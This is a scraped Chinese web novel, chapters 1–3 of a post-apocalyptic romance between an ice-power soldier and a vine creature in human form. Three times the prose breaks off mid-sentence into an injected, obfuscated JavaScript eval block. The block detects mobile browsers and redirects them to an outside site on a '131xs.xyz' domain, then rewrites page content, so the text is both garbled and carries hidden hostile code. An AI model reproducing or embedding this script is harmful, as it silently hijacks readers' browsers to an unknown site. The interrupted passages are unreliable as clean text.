《捡了一个人类当老攻》 1. 第 1 章 淅淅沥沥的雨声在这个漆黑的山洞里格外的突兀。 山洞里站着两个人。 背对着洞口的那个身高大约一米九的模样,一身紧身的黑色作战服凸显出了他高大挺拔的身材。 他举着一把枪,冰冷的枪口对着面前站着的少年。 少年大约二十岁的模样,浑身上下没有一块遮挡布,光溜溜的,白皙的皮肤好似能在漆黑的山洞里反光。 少年语气淡漠又疏离,“杀了我,你也会死。” “你,我救的。” “我们两个是捆绑在一起的,你死我也死,反之也一样。” 如果不是他那个淡漠又疏离的声音里带着稚嫩的音调,傅清洲就要被他唬住了。 他轻笑一声,枪口抵上对方的太阳穴,“你这是想吓唬我?知道我是谁吗?” 就在傅清洲靠近的那一刻,面前那个光溜溜的少年眼神一眯,在他脚底下迅速升起几根藤蔓,直直往傅清洲冲去。 速度极快。 且悄无声息。 傅清洲没来得及开枪,只好先躲开那几根朝他冲来的藤蔓。 藤蔓很快,傅清洲的速度也快,但还是被藤蔓刺伤了手臂,殷红的鲜血一下子喷涌而出。 植物系异能者。 这是傅清洲脑中第一个想法。 第二个想法是这个少年很强。 傅清洲盯着少年,好看的眉头皱得死死的,想问些什么,但是看到少年那副面孔,最后什么都没问,只是收起那把黑色的手枪,自顾自给自己处理好伤口。 可能是意识到自己伤人了,对方对自己的那股危险气息也没有一开始那么重了,少年往他那边跨了一步。 傅清洲警惕的眼神扫过去,只看见少年手上拿着一根细小的藤蔓,轻轻掰断成两半,被掰断的地方冒出奶白色的汁水。 少年把手上的东西递过去,口齿不清的表达,“喝掉,伤口会好。” 傅清洲冷着一张脸看他,手上的动作不停,反而嗤笑着,“想害我?” 少年听着他这句话,气急败坏地把手里的东西一把扔到他脚底,被他这句话气得不行,“爱要不要,死的不是我。” “白救你了。” 后面这句话是少年背过身嘀咕着的,傅清洲听力好,把这句小声的嘀咕听了去。 因为这句话,傅清洲的思绪回到了两个月前。 大概是两个月吧。 傅清洲根据任务带队出来救援,但是异种数量过多,且有不明能量让它们暴乱。 傅清洲所带的队伍牺牲了很多人,最后在兽潮里,为了救下自己的分队,他只能以身做饵。 想到这里,傅清洲才想起来去检查自己的伤口,以及自己有没有被感染。 时间过得太久了,傅清洲晕过去两个多月,身上的伤口已经结痂了。 不仅如此,他甚至没感受到自己体内有被异种感染的气息。 他还是那个他。 没有被感染,没有异变。 又联想到少年所说的话,傅清洲连忙抬头看向缩在角落里的少年。 少年旁边是傅清洲的背包。 他起身缓缓走过去,少年听到动静警惕地回头带着他,龇牙咧嘴的,装作一副很凶的样子。 很奇怪。 人类并不会用龇牙咧嘴来装凶,少年这模样,倒像是野兽之间的争斗。 但好在傅清洲并没有多想,反而是觉得可能少年在这边待太久了,渐渐融入了这里。 “你在这待了多久?”傅清洲拿到自己的背包,从里面翻出一套新的作战服递给他,“衣服都没穿。” 少年歪了歪脑袋看他,又看了看他手里的服装。 他知道这是人类穿的衣服,但他不会穿。 他不是人类。 藤蔓不需要穿衣服。 但又不能把自己不是人类的事情暴露出去。 最后少年拿着那套服装,折腾了半天都没能穿进去,气得把作战服扔得远远的。 傅清洲在旁边看着,那张面无表情的脸上终于出现了一丝裂缝。 他唇角勾起,“真蠢。” 少年知道是在骂他,气得又死死盯着他。 人类真没礼貌。 “我可以帮你。”傅清洲看着他,“但是你需要回答我几个问题。” 少年思考了一下,没有立即回答。 傅清洲起身走过去捡起那套作战服,然后借着洞口的光线,发现了一具枯骨。 他缓缓扭头看向少年,又回头查看这具枯骨。 虽然已经破烂不堪了,但很明显的黑色作战服。 傅清洲想去动他胸口上挂着的名牌,这是军队为了分辨死去和活着回来的人特意定制的。 名牌是绣在胸口上的,每一套作战服都有,刚刚傅清洲给少年的那一套,也有属于傅清洲的名牌。 “别动它!”少年速度很快,拦住了傅清洲去扯名牌的动作。 他握着傅清洲的手都在发力,细嫩白皙的手指绕不过傅清洲手腕一圈。 傅清洲幽暗的眼神盯着他,“你杀的?” 少年没来得及回话,就被傅清洲稍稍用力压到地上,那只握着他手腕的手被反剪到背后。 他挣扎了两下,没能挣脱,最后只能再次操控藤蔓刺向他。 有了第一次,傅清洲自然不会上第二次当,他也操控着冰系异能,挡住藤蔓的攻击。 他从背包里寻出一条绳子,把他的手绑起来,“别乱动,我不会伤害你,我只需要看看他是谁。” 傅清洲把地上的作战服扔到他身上,遮盖了一些部位,最后在背包里翻出能照明的手电筒。 山洞因为长久的黑暗突然被照亮,少年下意识眯了眯眼。 傅清洲看清了枯骨上作战服的名字。 库里尔。 是库里尔队长。 与他父亲同时入队,突然消失不见,没想到会死在这。 等摸索完枯骨身上的东西,傅清洲没发现一点有用的,唯一还能用的是不远处的手枪。 也算是库里尔的遗物了。 被照亮的山洞里爬满了各种各样的藤蔓,清脆的绿色因为灯光的原因,格外显眼。 连地上都长满了的青苔。 突然,傅清洲眼尖地发现,库里尔枯骨的旁边,刻着一串字,有一大半被枯骨压住了。 他把手电筒放到一边,站得笔直,朝那具枯骨鞠了个躬,最后敬了个礼,才继续蹲下身,打算挪开那具枯骨。 旁边一直安静的少年因为他的动作,突然剧烈挣扎起来。 傅清洲看向他,把手撑到地上,不一会儿,剧烈挣扎的少年被寒冰裹住,动弹不得。 “抱歉。”傅清洲朝他开口,“你需要听话一点。” 寒冰裹着少年的腰,连两条腿都被固定着,蓝色透明的冰块还冒着丝丝寒气。 少年不是人,感受不到寒冷。 他只知道挣扎,知道不能让那个人类移动那具枯骨。 但傅清洲的异能很强,他挣脱不开,只能眼睁睁地看着他移动那具枯骨,露出被压住的那一串字: 我找到了一个……它可以拯救这个世界,我带不走它,或者说,他没办法离开外围的森林。 未来的勇士啊,请你一定拼尽全力带它走……它是我们的希望啊…… 被模糊掉了两个字,傅清洲伸手去一点一点地摸。 想尝试能不能感受出那被模糊掉的两个字。 少年死死盯着他。 傅清洲摸了一阵,看向少年,眼底的情绪晦暗不明。 他手一挥,禁锢着少年的冰尽数散去,他又走过去,帮少年穿上那套作战服。 金黄色的名牌在少年胸口,刻着傅清洲三个大字,有一种说不出来的异样感。 他朝少年伸手。 少年疑惑,看着他歪歪脑袋,最后半信半疑地把手搭在他手上。 傅清洲把他拉起来。 面对傅清洲的突然示好,少年警惕了好久才慢慢信任他。 “你在这待了多久?” 少年摇摇头,看着他,眼里没了一开始的那股淡漠疏离,反而亮晶晶的。 他说:“记不清了,好像很久了。” “我救了他,他最后还是死了,我救不活他。”少年指的是洞里的那具枯骨。 “那你怎么救的我。”傅清洲问完这句话,眼睛死死盯着那个少年。 少年眼里的警惕因为这句话又浮现出来,他为了不让自己暴露,只道:“我没救你,我在河边捡到的,你当时还有气,伤口已经被包扎好了。” 少年在说谎。 刚刚他还说着是自己救的人,现在反过来就说不是。 太拙劣的借口。 傅清洲清晰的记得,他从悬崖边上摔下来的时候,附近没有河,作为军队的三队队长和安全区里最强的冰系异能者。 他那时候还有一点意识。 但似乎想到了什么,傅清洲并没有拆穿他,只是笑了笑,“那我命真大。” 见他没有多想,少年倒是松了一口气。 “你叫什么?”傅清洲又问他。 “岁禾。” 风禾尽数起,国泰民也安。 岁禾。 岁岁皆平安。 这是库里尔给他取的名字。 岁禾不太懂名字的寓意是什么,也不懂人类名字的意思,只知道他和库里尔一样有了名字。 库里尔是岁禾遇到的第一个人类,带有善意,不会嫌弃他是异种。 是他告诉自己,不能被任何人发现自己是异种的身份,会被杀死的。 岁禾记到了现在。 “你说你在这边很久了,久到记不清了。你看起来很小。” 岁禾摇摇头又点头。 在异种的算法里,他是已经活了三百多年了。但在人类世界里,他不懂定义自己的年龄。 “我从记事起,就在这个山洞。” 这是岁禾唯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775853|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一没对傅清洲撒谎。 从他还是藤蔓开始,他就一直在这里,到后面化形,他也离不开。 库里尔曾想过带他离开,结果就是死亡。 出了森林外围,数不清的异种把他们包围,他走不掉的。 他始终要被困在森林中心。 到底为什么会被困在这里,他说不清原理。 岁禾也想离开。 他向往外面的世界,而不是只能待在这个小小的山洞,然后哪也去不了。 他不知道自己为何会化人,不知道为什么只有他一个异种是可以人和本体随时切换。 库里尔曾尝试过带他离开,他们在森林里穿梭,见过各种各样的异种,可当他们踏进森林外围的时候,那些平日里很少出现的异变种,把他们重重包围。 库里尔怎么死的,岁禾很清楚。 “想离开吗?”傅清洲问出这句话的时候,眼睛目不转睛地盯着靠在墙上的岁禾。 岁禾的目光直视着黑暗里的那具枯骨,嘴唇微启,“想。” “但不能。” 傅清洲又想到了那具枯骨下压着的文字,还有被模糊掉的那两个字,是人为。 而能在这里的人,只有岁禾。 傅清洲的眼睑下垂,盯着自己的鞋尖。 他摸到了,那两个字的笔划。 刻意模糊并没有用。 岁禾是这个末世的关键点。 如果他不想让别人知道这所谓的秘密,傅清洲不会说,但他确实该像库里尔所留下的那些文字一样。 尝试把他带回安全区,安安全全把他送进研究院。 “如果可以呢?如果我能带你出去。你想出去吗?” 岁禾的眼睛短暂亮了一下,随后又黯淡无光,隐没在黑暗中。 他太明白了。 库里尔也曾这样跟他说。 他说:“想。” 是坚定不移的语气。 他这三百年来,过得太孤独了。 岁禾很想看看外面长什么样,库里尔曾跟他说,外面已经快要毁灭了,世界末日早就来了。 人类寻了好几年,自救了好几年,可终究没有办法。 被感染的人越来越多,异种越来越强大,黑夜越来越长…… 人类救不了人类。 岁禾也能感觉到,森林里白日太少了,和以往不一样。 他还是藤蔓的时候,数着数过日子,今天下了多少次雨,山洞门口走过多少只野兽…… 以前白天很亮,太阳光照很好,岁禾发现自己的藤蔓能操控的时候,总是喜欢伸一条枝条出去晒太阳。 但现在不一样了,白天只有阴天,见不到太阳,黑夜越来越长久,久到他不知道自己沉睡了多久。 傅清洲起身,走向他,在他旁边坐下,“认识一下,我叫傅清洲,隶属于安全基地最高军队,是强大的冰系异能者。” “你信我吗?我能带你离开。” “带你回安全基地。” 岁禾愣愣地看着他,“安全基地……”是什么。 但岁禾没问出口。 他突然想起来曾经库里尔跟他说过,人类建立起安全基地,强者获得异能,对抗异种。 他倘若问出来,会暴露自己。 岁禾不想死,他想活着。 活着就必须保持人类的习性。 “好。”岁禾点头,“我信你,但你要保护自己。” 岁禾为了救他,把自己的根剔除,移到了傅清洲身上。 因为他身上有着和库里尔一样的作战服。 库里尔是岁禾遇到的第一个人类,他教了岁禾很多。 “你的能力是什么?” 岁禾伸出手,下意识想把自己的手变成藤蔓,只是犹豫的那一秒,他的手心就长出了几根细嫩的藤蔓。 粉红色的,带着刺。 岁禾的本体也是这样,粉红色的,他不知道自己是什么异变植物,因为库里尔说没见过他这种植物。 傅清洲盯着看了一会儿,嘴角有些僵硬,“粉色的……藤蔓?” 岁禾点头收回手,垂着脑袋,整个人看起来焉不拉几的,“我不知道为什么是粉色。” “它一开始就是这样的。” 别的藤蔓都是绿色的,就岁禾这个最特殊了。 山洞外的雨已经停了,光折射进到山洞里。 岁禾起身,身上穿的那套作战服让他很不适,艰难地行走到洞口外面。 “雨停了。” 黑夜即将降临。 因为认识库里尔,岁禾知道人类要吃饭,何况傅清洲昏迷了太久。 他回头去看还坐在原地的傅清洲,问他,“你可以在这等我吗?” 岁禾很怕他逃跑了,那样没人能带他出去了。 即使是一点可能,他也想尝试。 “可以。” 得到了肯定的答案,岁禾光着脚踩进湿润的草地里,脸上带着童真的笑容,欢快地跑了。 2. 第 2 章 岁禾很熟悉这个地方,在外面欢快地跑着,从这株野果树跑到那一株,又跑到不远处的河里捞了两条鱼。 等他回到山洞的时候就看见傅清洲手上拿着一块东西,正往嘴里放。 他抱着野果呆愣在原地,腰带上还用藤蔓串起两条鱼挂着。 傅清洲艰难地咽下嘴里的压缩饼干,然后抬头和他对视。 这下两个人都愣了。 岁禾背着光,看不清脸上的表情,但傅清洲好像能感觉到,少年格外的伤心。 这种感觉很莫名其妙,就好像是突然出现在心理上的感觉一样。 岁禾有点落寞,但还是收起情绪,走到他身边,“我可以吃吗?我没吃过这个。” 待他走近,傅清洲才看清他腰上用藤蔓别着两条鱼,他的嘴角抽了抽,最后晃了晃手里的压缩饼干,“这个?” 岁禾点头,把野果放到地上,又把腰上别着的鱼拿下来,“库里尔在的时候,都是我去找吃的,他说我对森林很熟悉。” “他还说我很强,遇到危险可以自己解决。” 只要不是踏进森林外围,那靠近岁禾的异种会很少很少,甚至几乎没有异种会过来找他。 没等傅清洲回答,岁禾的动作很快,抓着他的手,对着那块压岁饼干咬了一大口。 很快…… “咳咳咳……”岁禾捂着脖子,想把噎在喉咙间的饼干咽下去,又想吐出来。 傅清洲眼里闪过笑意,伸手在他后背上拍了拍,“吐出来,会不会扣喉咙眼?” 岁禾摇摇头,抓起旁边的野果咬了一口,借着野果溢出来的汁水咽下去。 “好难吃!”岁禾被呛得咳了两声,眼尾溢出一点泪水,看着他的眼神很不满,“我快死了。” “我没让你吃。”傅清洲为自己辩解了一句。 岁禾气呼呼地鼓起脸颊瞪着他,“那你不会拦着我点吗?一点人情味都没有。” 这是初见时,库里尔骂过他的话,没有人情味。 一个异种哪来的人情味。 岁禾不知道,反正库里尔这样骂他,他也这样骂傅清洲。 虽然他不知道没有人情味是什么意思。 他没再理傅清洲,自己拿着野果一个一个啃了起来,还很人性的推了几个过去给他。 傅清洲垂眸看了一眼,还是拿起来咬了一口。 鲜红的果子裹着甜腻的汁水,很自然的清脆可口。 自从末日到来之后,他好久没吃过这样鲜美的果子了。 “好吃吧?”岁禾看着他失神的表情,得意洋洋的,“库里尔最喜欢这种果子了。你为什么吃那么难吃的东西?亏我还跑出去给你找好吃的。” “嗯。”傅清洲淡淡应了一声,又轻声开口:“谢谢。” 岁禾歪了歪头,不理解他话里的意思。他已经很尽力地去学习人类的习性了,库里尔教给他的东西并不算多。 不知道是不是岁禾一个人在这里边待久了,话特别多,傅清洲觉得他有点吵。 得不到回应的岁禾又气呼呼的,“库里尔话很多的,你真的很冷淡,一点人情味都没有。” 他又搬出那句话。 岁禾一边说着,一边捡起地上的两条鱼,又给他分了一条。 分好食物,岁禾捧着那条大鱼张嘴就要啃,被傅清洲在身后捂住了嘴,门牙嗑在他的手心里,有些难受。 他语气有些不敢置信,“你就这样生吃?” 生鱼很多寄生虫。 虽然傅清洲以前在恶劣的环境也吃过,但看到岁禾这么自然的动作,还是打算伸手阻止一下。 “对啊。”岁禾疑惑地回头看他,“库里尔也是这样吃的。他这样教我的,我没出去过,不知道该怎么吃。” “不吃会饿肚子。” 后面这句是岁禾在撒谎。 他作为异种,就算不吃也不会有饥饿感,只是需要多休息恢复能量,他是植物异变,跟那些肉食动物不同。 他需要的是吸收阳光的养分。 但已经很久没有见过阳光了。 岁禾只能像肉食动物一样,吃饭睡觉。 库里尔也说,人类也是需要吃饭睡觉的,他想要伪装成一个好的人类,只能学着人类的生活习性。 傅清洲把他手里的鱼拿掉,从自己包里翻出一个打火机,山洞里有一些干柴火,足够他烤两条鱼了。 现在没有危险靠近,离开这里的事也急不来,不要没苦硬吃。 去吃一条满是寄生虫的生鱼。 岁禾看着傅清洲找了一些干柴点燃,用防身匕首削了两根木棍把鱼扎起来。 很快,火光变大,整个山洞被照亮。 岁禾没见过这场面,凑过去看,越凑越近,还想伸手去摸,被旁边看着的傅清洲拉住了,“你不要命了?” “这是什么?”岁禾问他。 傅清洲冷厉的眉锋挑了挑,“你好像一个山顶洞人,刚好也是住山洞里,很符合你的身份。” “山顶洞人又是什么?”岁禾继续问,眼睛却还在盯着那一堆火光。 他喜欢这个东西,像阳光一样温暖的东西。唯一的缺点就是不能让他吸收养分。 傅清洲懒得和他解释,为了防止他再去触碰那一堆柴火,把他禁锢在自己身边。 “你的话少一点行不行?” 岁禾瞪着双眼,“你这是嫌弃我吧?一定是吧?” “是。”傅清洲面无表情的,连眼皮都没掀一下。 岁禾瞪大双眼,随后又落寞起来,自己缩到一旁静静的看着眼前的火光,没再说话了。 山洞里又安静得能听见柴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775854|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火噼里啪啦的声音。 岁禾抱着自己的膝盖,一眨不眨地盯着眼前泛着红光的东西,眼神里依旧带着些许落寞。 傅清洲看了一眼,心脏处鼓鼓闷闷的,很不舒服。随后他叹了一口气,把那两条鱼翻了个面,“你说吧,不嫌弃你。” 算了,被困这么久,爱说点话也可以理解吧。 岁禾眼睛又亮起来,盯着他看,确定他没有骗自己之后,又挪着屁股靠过去,“这个是什么东西?为什么会发光?为什么这个小太阳跟大太阳一样温暖?” 傅清洲:“……” 要不还是嫌弃一下吧。 “山顶洞人又是什么?你还没跟我说呢,为什么我符合条件?” 岁禾没办法看清傅清洲的内心,不知道他依旧在嫌弃自己,嘴巴不停地问着。 傅清洲挑了几个他能解答的问题回答了,但他高估了岁禾的智商。 他解答完一句,岁禾又会冒出无数个问题。 他实在受不了了,刚好鱼也烤熟了,他把鱼挑起来,递过去给他,“吃饭的时候别说话。” 岁禾眼睛滴溜溜地转,抓着那根扎着鱼的木棍,凑到跟前闻了闻,“好香,为什么吃饭不可以说话?” 他问完,顾不上烤鱼是否还烫,张嘴咬了一大口,然后烫得眼泪都出来了,嘴里的肉掉到地上,“好烫好烫好烫!” 傅清洲:“……”蠢货。 “你想害我!”岁禾扭头瞪他,把手上的鱼扔过去,被傅清洲稳稳接住。 “你自己蠢。”傅清洲扯了扯嘴角,不明白为什么有人蠢就算了,还把锅扣到别人头上。 “你不能等他凉了再吃?” 岁禾又歪了歪脑袋,碎发随着他的动作跟着一起抖动,“库里尔以前给的都是活蹦乱跳的,我可以直接吃,这个是烫的。” “我舌头疼。” “我是不是要死了?肯定都是你害的,我还救你了,你竟然想害我,呜呜呜呜,库里尔说穿黑色衣服的都是好人,你不是……” 傅清洲:“……” 他伸手去捏住岁禾的脸颊,逼迫他张开嘴巴,盯着他的舌头看了一眼,又放开他,“被烫伤了,让你着急。” 岁禾红着眼看他,“烫伤是什么?为什么会烫伤?它能好吗?什么时候才能好?” 傅清洲没回答他,又把烤鱼塞到他手上,“现在能吃了。” 可能是手上的烤鱼太香了,岁禾盯着看了一会儿,还是没能经住诱惑,顾不上舌尖的疼痛,又拿到手上,继续咬了一口。 “好吃,香的,跟库里尔给我的那些不一样。” 傅清洲勾了勾嘴角,拿着烤鱼咬了一口。 没有调味料,说不上很香,但也许岁禾没吃过,又或许是生鱼吃太多了。 总之,他觉得很好吃。 3. 第 3 章 岁禾吃得很满足,要不是傅清洲拦着,估计连鱼骨头都不放过。 吃饱之后岁禾就开始犯困了。 他不会顾及是否黑夜白天,反正他需要休息才能恢复能量。 没有能量的异种,最后的下场都不会好。 太阳消失了,他只能依靠睡觉来恢复能量。 他靠傅清洲很近,后背抵着石头,不一会就歪着脑袋靠在傅清洲肩膀上睡着了。 呼吸轻缓,一点防备都没有。 傅清洲侧头看过去,抬手轻轻把他推开,岁禾的脑袋在空中晃了晃,没醒。 反而继续倒在他肩膀上睡得很香。 傅清洲沉默了一下,想要继续推开他,看见岁禾咂咂嘴,似乎梦到什么美好的事情。 他伸出的手停留在空中,最后扶着他的脑袋,弯腰抱起他走到洞壁边缘,让他靠在上面睡。 傅清洲长得壮,穿衣显瘦,脱衣有肉的。偏大的黑色作战服穿在岁禾身上,显得格外的宽大,腰带拉到最小,勾勒出细弱的腰,长长的裤脚被挽了好几圈才露出脚踝。 他没穿鞋,出去找吃的时候走了一圈,脚底上沾了一些湿泥,脏兮兮的。 傅清洲没有多余的动作,他把人放好,伸手在腰间摸索到自己的防身匕首之后,转身出了山洞。 他打算去看看周围的情况。 外面的天渐渐暗了下来,傅清洲检查了一下手腕上的通讯器。许久没用过了,没有坏,但一点信号都没有。他在附近绕了一圈,依旧没有信号。 估摸着才下午四点,天却已经完全黑了下来,黑夜即将永存并不是玩笑话。届时,全人类再没办法存活。 天黑了下来,傅清洲没办法走太远,他只能在附近观察了一下,又回到了山洞。 明天再去也不迟。 岁禾还在睡。 傅清洲紧接着坐到他旁边,也一起小憩起来。 他也需要休养生息。 没过多久,忽然之间,岁禾猛然睁开眼睛。在黑暗中,他的视线格外清晰。 那双渐变色的瞳孔猛地一震。 他伸手摸黑推了一下旁边的傅清洲,声音变得很严肃,“你藏起来。” 傅清洲睁开双眼盯着他,没动。 黑夜之中,他能感觉到一股危险的气息在悄然靠近。 “快点!”岁禾爬起来,拉着他想找个地方让他躲起来,可是走了一圈,没有地方可以躲。 没有地方。 岁禾的眼神落寞,他会像库里尔那样悲惨的死去吗? 岁禾又转了一圈,在山洞外面看见了一棵高大的树,他指着上面,“你爬上去。” 危险的气息在靠近。 岁禾急着把他藏起来。 傅清洲动了动唇,“你是不是知道有东西在靠近?” “它很强。”岁禾没有回答他,反而强调着:“我们打不过,它是冲你来的。” “你藏起来。”岁禾语气变得很着急,“你说要带我走的,你要藏起来,不要被它发现了。” “库里尔是被它杀死的。” 岁禾说他在这儿待了很久,能活到现在说明这个森林里的异变种不会杀他。 连库里尔都没法杀死的东西…… 傅清洲在那一刻权衡了一下利弊,选择听岁禾的话,爬上那棵大树。 但还没等他有动作,在他身后窜出一只巨大的野兽,猛地朝他扑来。 傅清洲眼睛瞪大,野兽的威压让他站在原地无法动弹。 这东西很强。 连靠近他身后都没能及时察觉到,他只知道有危险气息在靠近。 傅清洲来不及闪避,连异能都来不及释放。 突然,身侧传来一股力道,把他推得远远的,傅清洲摔在地上,疼痛终于让他找回了自己身体的知觉,猛地滚了一圈,停下之后才回头去看原先的地方,“岁禾!” 巨大的野兽扑倒了岁禾,岁禾跟着滚了几圈,又被它叼到嘴里,发出阵阵低吼,仿佛在说不许接近这个人。 傅清洲看过去,野兽叼着岁禾的腰带。岁禾被挂在野兽嘴边。 他手里幻出一把冰剑,冒着丝丝缕缕的寒气。 野兽面对着他,朝他低吼。 那是一只巨大的野兽,长着七只眼睛的异变虎,背上是黑青色的斑纹。 岁禾从巨大的变故中回过神,晃了晃被野兽撞得发晕的脑袋,看向傅清洲摇了摇头,发出低弱的声音,“走,别跟它打。” 但显然,没办法不打。 傅清洲站起身,手上握着幻化出来的冰剑,眼神冰冷,“你先自救吧,我暂时没办法管你。” 岁禾的实力应该挺强的,在这只巨大的七眼异变虎面前,应该能自救。 七眼异变虎低吼一声,抬起前爪重重踩在地上,傅清洲感觉到连地壳都在晃动。七眼异变虎发出一声低吼,晃了晃脑袋,把岁禾甩了出去。 傅清洲眼神一眯,连忙跑过去,想接住被抛到空中的岁禾。 好在岁禾反应足够快。 他在空中抬起手,手中幻起藤蔓,把自己挂在树上。另一根藤蔓从地上升起,卷上傅清洲的腰,带着他往七眼异变虎那边走,“它的弱点是它的第七只眼睛。” 岁禾藤蔓的速度很快,绕在他腰间并没有阻挡他的攻击,反而在给他加快速度躲避异变虎的进攻。 七眼异变虎仰头长啸,一声接着一声,发出的声音传到他们耳朵里,让人头痛欲裂。 傅清洲晃了晃脑袋,保持着清醒,离它还有一些距离。 岁禾不会受影响,他坐在树枝上晃着腿,渐变色的瞳孔微微眯起来,褪去了那些清澈。 他为傅清洲竖起藤蔓阻挡声音,像操控木偶一般扯了扯手里的藤蔓,“跳起来,刺右边!” 傅清洲听见风中带来的声音,踩着岁禾竖起来的藤蔓借力跳起来。 但人类的弹跳力有限。 他跳起来根本就够不到七眼异变虎的头顶。 岁禾抓着手里的藤蔓,往上一甩,傅清洲很快被带到半空中。脚底下升起一段又一段的藤蔓,供他踩住。 他挥着冰剑,往异种的头顶上砍去。 砍不动,傅清洲只好转变方式,冰剑扎进异变虎的头顶,溢出一点黑血。好在阻止了异变虎的嘶吼,但更加的惹怒了它。 七眼异变虎的速度看起来和岁禾藤蔓的速度一样快,甚至比岁禾还要快。 巨大的兽爪拍碎了地上升起的藤蔓,傅清洲保持不住平衡,晃了两下被岁禾捆住的藤蔓挂在空中。 两个人都没来得及做出反应,傅清洲就被异变虎的兽掌拍出去了。 绕着傅清洲腰间的藤蔓随之断裂,岁禾瞪大了双眼,没来得及喊出声,异变虎就转变目的,盯上了他。 顾不及傅清洲,岁禾动了动手,无数带着尖刺的粉色藤蔓从异变虎脚边升起,捆住了它的脚步。 就趁着这个时候,岁禾赶紧抓着藤蔓荡向傅清洲的方向。 藤蔓太过脆弱了,捆不了异变虎太久。 岁禾需要找到傅清洲,保证他的安全。 岁禾死不掉,但傅清洲不一定。 他一边荡着藤蔓,一边把右手搭在自己心口上,感受着傅清洲的气息。 幸好,还活着。 他还能感受到傅清洲的气息。 还没等岁禾找到傅清洲,身后的异变虎已经追了上来。 前面只有一条河流,已经没有树能让岁禾挂上藤蔓了。 岁禾被迫落到地上,脚下踩着清澈的溪水,水流缓缓划过他的脚踝,冰冰凉凉的。 他转身看着那头巨大的异变虎。 没认错,当初库里尔第二次尝试带他离开的时候,就是这个混蛋把库里尔杀死的。 库里尔那么的善良,就那样死在了他怀里,慢慢没了体温。 岁禾想到那个场面,眼眶发红,他知道异变虎听不懂,可他还是不管不顾地嘶吼,“我就想离开,为什么要赶尽杀绝!” “为什么要杀死带我离开的人!他们没有做错任何事!” 异变虎慢慢走到他面前,低着头对他嘶吼。 就在它靠近岁禾的那一瞬间,无数藤蔓从地下破土而出,毫不留情地刺向异变虎。 速度极快。 异变虎嘶吼一声往后倒退。 就在那一瞬间! 傅清洲从旁边的树枝上跳下来,冰剑刺向异变虎的后背。 这一次,傅清洲用尽了全身的力气,他站在异变虎背上,使劲把冰剑往下捅。 冒着寒气的冰剑刺进异变虎的背上,异变虎感受到疼痛,又是一阵嘶吼,使劲晃掉背上的人。 岁禾看准时机,锋利的藤蔓直直竖起刺向它的七只眼睛。 藤蔓直直逼近,异变虎被逼得往后倒退,它抬起兽掌,锋利的尖爪把藤蔓撕成碎片。 前面的藤蔓碎掉,岁禾又聚起新的藤蔓朝它刺过去,不给它丝毫喘息的机会。 异变虎来不及管背上的人,只能用兽爪切碎那些冲它袭来的粉色藤蔓。 岁禾的连续性攻击给傅清洲找到了机会,但异变虎晃得实在太厉害了,他握着冰剑让自己稳住身形。 他的冰剑消散在异变虎体内,艰难地爬上异变虎的头顶,盯着他那几只眼睛,找不准地方。 第七只眼。 第七只眼是哪一个? 没有太多的时间给他思考,傅清洲听见了岁禾的声音。 “单独那一只!” 单独的那只,就是头顶这个。 傅清洲摸出防身匕首,找准眼睛的中心,就在他要刺进去的时候,异变虎仰起头,晃着脑袋。 傅清洲没注意,被晃下去,他急急忙忙拽住了异变虎的耳朵,让自己挂在它身上。 傅清洲没得逞,岁禾只能继续操控藤蔓刺向异变虎,毫不停歇的攻击让他有些吃力。 能量快要消耗完了。 异变虎站在原地,嘶吼了一声,抬起爪子撕碎藤蔓,还没等岁禾重新聚起藤蔓,它已经窜到岁禾面前。 “岁禾!”傅清洲大喊。 岁禾看着近在咫尺的异变虎,连防御都没来得及,就被它扬起爪子往地上拍去。 岁禾躲避不及,整个人被它一掌拍进地下。 傅清洲没时间再去关心岁禾,借着异变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775855|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虎的耳朵,趁着异变虎攻击岁禾的时间,重新爬到他头上,没有丝毫犹豫,举起匕首重重刺向异变虎的第七只眼睛! 匕首扎进异变虎的第七只眼睛里。 异变虎发出痛苦的低吼。 傅清洲被晃了下来,在地上滚了两圈,又被巨大的兽爪从侧面袭来,他躲避不及,凝聚力量竖起了一堵冰墙企图阻止它的攻击。 他赌错了。 巨大的兽爪直接拍碎冰墙,直直往傅清洲冲来。 刹那间! 傅清洲脚下升起无数条藤蔓,带着嗜血的黑红,重重把傅清洲包围在内,挡住了所有攻击。 是岁禾! 漫天的藤蔓缠绕住巨大的七眼异变虎,每一根都在缠紧的瞬间长出尖尖的刺。 刺入皮肉里,黑色的血随着藤蔓滴落,染了一地。 滴答滴答…… 傅清洲仿佛能听见鲜血滴落的声音,以及自己的心跳声。 太快太快了。 黑红的藤蔓和地上的黑血几乎融为一体。 七眼异变虎仰天长啸着,黑青色的斑纹被鲜血染了色,颜色更深了。 傅清洲被眼前的景象看呆了。 但很快,他便反应过来。 